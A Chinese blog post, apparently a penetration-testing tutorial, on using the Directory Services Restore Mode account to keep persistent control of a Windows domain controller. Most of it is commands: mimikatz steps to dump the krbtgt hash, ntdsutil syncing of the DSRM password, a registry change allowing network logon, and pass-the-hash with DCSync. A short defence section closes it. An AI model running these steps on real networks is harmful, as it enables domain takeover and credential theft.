• 目录服务恢复模式(DSRM,Directory Services Restore Mode),是Windows服务器域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账户 (也就是DSRM账户)。
  • DSRM用途:允许管理员在域环境中出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在域环境创建初期,DSRM 的密码需要在安装 DC 时设置,且很少会被重置。修改 DSRM 密码最基本的方法是在 DC 上运行ntdsutil 命令行修改。
  • 在渗透测试: 可以使用DSRM对域环境进行持久化操作。适用版本为windows server2008(需安装KB961320才可以使用指定域账号的密码对DSRM的密码进行同步)及以后的版本,windows server2003不能使用此方法。
  • 每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。

1 修改 DSRM 密码

# Win08(已安装KB961320)及以上,可以将 DSRM 密码同步为已存在的域账号密码。
NTDSUTIL:打开ntdsutil
set DSRM password:修改DSRM的密码
sync from domain account domainusername:使DSRM的密码和指定域用户的密码同步
q(第1次):退出DSRM密码设置模式
q(第2次):退出ntdsutil # 补充,直接修改 DSRM密码
NTDSUTIL:打开ntdsutil
set DSRM password:修改DSRM的密码
reset password on server null:在当前域控制器上恢复 DSRM 密码
<PASSWORD>:修改后的密码
q(第1次):退出DSRM密码设置模式
q(第2次):退出ntdsutil

2 DSRM 域后门操作过程

  1. 获取 krbtgt 的 NTLM hash

    # 域控制器中使用mimikatz查看 krbtgt 的 NTLM hash
    privilege::debug
    lsadump::lsa /patch /name:krbtgt # 得到NTLM : fa02a0e57e5ba9189d00990ae64e87ce
  2. 查看同步前与同步后 DSRM 账号的 NTLM hash

    # 查看同步前 DSRM 账号的 NTLM hash
    token::elevate
    lsadump::sam # 将 DSRM 账号和 krbtgt 的 NTLM Hash 同步
    NTDSUTIL
    set DSRM password
    sync from domain account krbtgt # 查看同步后 DSRM 账号的 NTLM hash
    lsadump::sam

  3. 修改 DSRM 的登录方式

    DSRM有三种登录方式,具体如下:

    • 0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号
    • 1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器
    • 2:在任何情况下,都可以使用DSRM管理员账号登录域控制器
    • 在 Windows 对 DSRM 使用控制台登录域控制器进行了限制。如果要使用DSRM账号通过网络登录域控制器,需要将该值设置为2。
    New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
  4. 利用 mimikatz 使用 DSRM 账号通过网络远程登录域控制器

    # 在域成员机器的管理员(如本地管理员)模式下打开 mimikatz
    privilege::debug
    # 注意:此处的 /domain 的值为域控制器的主机名
    sekurlsa::pth /domain:dc /user:administrator /ntlm:fa02a0e57e5ba9189d00990ae64e87ce # Hash 传递完成后,在弹出的命令行窗口中打开mimikatz,使用 dcsync 功能远程转储 hash。
    lsadump::dcsync /domain:test.lab /dc:dc /user:krbtgt dir \\dc\c$

3 DSRM 域后门防御

  1. 定期检测注册表中用于控制 DSRM 登录方式的键值 hklm:\system\currentcontrolset\control\lsa\dsrmadminlogonbehavior ,确认该键值为 1。或者删除该键值。
  2. 定期修改域中所有域控制器的 DSRM 密码。
  3. 经常检查 ID 为 4794 的日志,尝试设置活动目录服务还原模式的管理员密码会被记录在4794日志中。

权限维持之:DSRM 域控权限维持的更多相关文章

  1. 域控权限提升PTH攻击

    0x01 漏洞利用条件 1.被pth攻击的计算机未打补丁(KB2871997)2.拿到一台域成员主机并且拿到管理员组的域用户的NTML 3.对方主机存在相同账号并且是管理员组成员 0x02 本地用户N ...

  2. 【转帖】Linux mount 域控权限的共享目录

    https://www.linuxidc.com/Linux/2012-09/71388.htm 之前一直以为没法 映射 home 域的内容 其实还有一个地方.. 注意 空格的话 需要用 \ 进行转移 ...

  3. 一次完整的从webshell到域控的探索之路

    前言 内网渗透测试资料基本上都是很多大牛的文章告诉我们思路如何,但是对于我等小菜一直是云里雾里. 于是使用什么样的工具才内网才能畅通无阻,成了大家一直以来的渴求. 今天小菜我本着所有师傅们无私分享的精 ...

  4. 【域控日志分析篇】CVE-2020-1472-微软NetLogon权限提升-执行Exp后域控日志分析与事件ID抓取

    前言:漏洞复现篇见:https://www.cnblogs.com/huaflwr/p/13697044.html 本文承接上一篇,简单过滤NetLogon漏洞被利用后,域控上的安全及系统日志上可能需 ...

  5. Active Directory中获取域管理员权限的攻击方法

    Active Directory中获取域管理员权限的攻击方法         译:by  backlion 0x00 前言 攻击者可以通过多种方式在Active Directory中获得域管理员权限, ...

  6. 【漏洞复现篇】CVE-2020-1472-微软NetLogon权限提升-手把手教学-简单域环境搭建与Exp执行

    一.漏洞简介 NetLogon 远程协议是一种在 Windows 域控上使用的 RPC 接口,被用于各种与用户和机器认证相关的任务.最常用于让用户使用 NTLM 协议登录服务器,也用于 NTP 响应认

  7. 从0开始搭建SQL Server AlwaysOn 第一篇(配置域控)

    从0开始搭建SQL Server AlwaysOn 第一篇(配置域控) 第一篇http://www.cnblogs.com/lyhabc/p/4678330.html第二篇http://www.cnb ...

  8. (转)从0开始搭建SQL Server AlwaysOn 第一篇(配置域控+域用户DCADMIN)

    原文地址: http://www.cnblogs.com/lyhabc/p/4678330.html 实验环境: 准备工作 软件准备 (1) SQL Server 2012 (2) Windows S ...

  9. office web apps 部署-搭建域控服务器

    开始第一条先说注意事项:我所配置的环境是用了三台2012server虚拟机,三台虚拟机必须要加下域控,而且登录操作的时候必须以域账号登录,否则测试不通过!在笔记本上搭建了两个虚拟机(window se ...

  10. (转载) 从0开始搭建SQL Server AlwaysOn 第一篇(配置域控)

    安装完之后别忘了还需要安装SSMS,这是坑爹的地方之二,干嘛不集成到SQL Server安装包里还要用户自己单独下载 下载地址:https://msdn.microsoft.com/en-us/lib ...

随机推荐

  1. 关于 risrqnis

    这道题里最有用的( Range Insert Subset Range Query [n?] In Set 破案了 我那五个点是因为维护不知道有什么用的东西炸了 删了就过了 题面 [JRKSJ R4] ...

  2. Python3.7.3安装TensorFlow和OpenCV3

    根据python的版本进行下载相应的文件 一.安装TensorFlow 进入网址https://pypi.org/project/tensorflow/#files下载TensorFlow文件 进入下 ...

  3. 介绍一款高性能分布式MQTT Broker(带web)

    SMQTTX介绍 SMQTTX是基于SMQTT的一次重大技术升级,基于Java开发的分布式MQTT集群,是一款高性能,高吞吐量,并且可以完成二次开发的优秀的开源MQTT broker,主要采用技术栈: ...

  4. Java 中 String 与 StringBuffer 和 StringBuilder 的区别

    简介: String 是 Java 中很常用的类之一,同时,字符串是 Java 面试中最重要的话题之一. StringBuffer 和 StringBuilder 类提供了操作字符串的方法. 我们将研 ...

  5. 开发一个最简单的iOS App

    开发一个最简单的iOS App 大家好,我是孜孜不倦学习的Zhangbeihai. 上月底我组织了[组队学习]TensorFlow 入门课程(中文) ,截至目前有300多同学加入.主要就是 Tenso ...

  6. [数据结构]哈希拉链法化解冲突+ASL计算

    看这篇就好(自用,别骂我) 摘自博客园 存疑:学校考试空节点算不算查找次数???

  7. 【Java难点攻克】「NIO和内存映射性能提升系列」彻底透析NIO底层的内存映射机制原理与Direct Memory的关系

    NIO与内存映射文件 Java类库中的NIO包相对于IO包来说有一个新功能就是 [内存映射文件],在业务层面的日常开发过程中并不是经常会使用,但是一旦在处理大文件时是比较理想的提高效率的手段,之前已经 ...

  8. 什么是Auth模块?(全面了解)

    目录 一:Auth模块 1.什么是Auth模块? 2.Auth模块作用 二:引入Auth模块 1.其实我们在创建好一个Django项目之后直接执行数据库迁移命令会自动生成很多表 2.django在启动 ...

  9. Jmeter 之bzm- Concurrency Thread Group 压测

    bzm- Concurrency Thread Group  并发线程组代替 jp@gc - Stepping Thread Group线程组. 1.  下载jmeter-plugins-manage ...

  10. Flask初步认识

    1.Flask基本认识 Flask 本身相当于一个内核,其他几乎所有的功能都要用到扩展包(数据库Flask-SQLAlchemy),都需要用第三方的扩展来实现.比如可以用 Flask 扩展加入ORM. ...